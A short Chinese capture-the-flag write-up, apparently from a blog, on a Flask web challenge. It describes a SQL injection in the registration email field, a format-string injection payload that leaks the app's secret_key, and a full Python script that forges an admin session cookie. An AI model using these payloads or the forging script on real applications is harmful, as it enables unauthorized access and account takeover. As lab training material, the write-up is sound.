尝试登陆admin给出提示可知存在admin账号
尝试注入显示只能是数字和字母,先注册进去,给出提示
通过扫描目录可以发现/flag目录
查看session
要更改session就需要secret_key
经测试,发现在注册时邮箱位置存在sql注入(添加单撇号报错)
使用布尔盲注脚本,发现admin的密码为h4ck4fun
登陆后页面
可以发现session和/flag要求的session还是不一样
admin用户这里多出一个修改邮箱功能,这里存在format格式化字符串漏洞
{user.__class__.__init__.__globals__}

使用current_app
{user.__class__.__init__.__globals__[current_app].config}

找到secret_key后对session进行伪造
利用脚本
from flask.sessions import SecureCookieSessionInterface
import traceback
import ast
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
def encode(secret_key, session_cookie_structure):
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
traceback.print_exc()
return False
if __name__ == "__main__":
payload = "{'isadmin': 1, 'user': (1, 'admin', 'admin@qq.com')}"
key = '873351ddf667ee973039b51b17dd399f'
print(encode(key, payload))
访问/flag,更改session即可

2249

被折叠的 条评论
为什么被折叠?



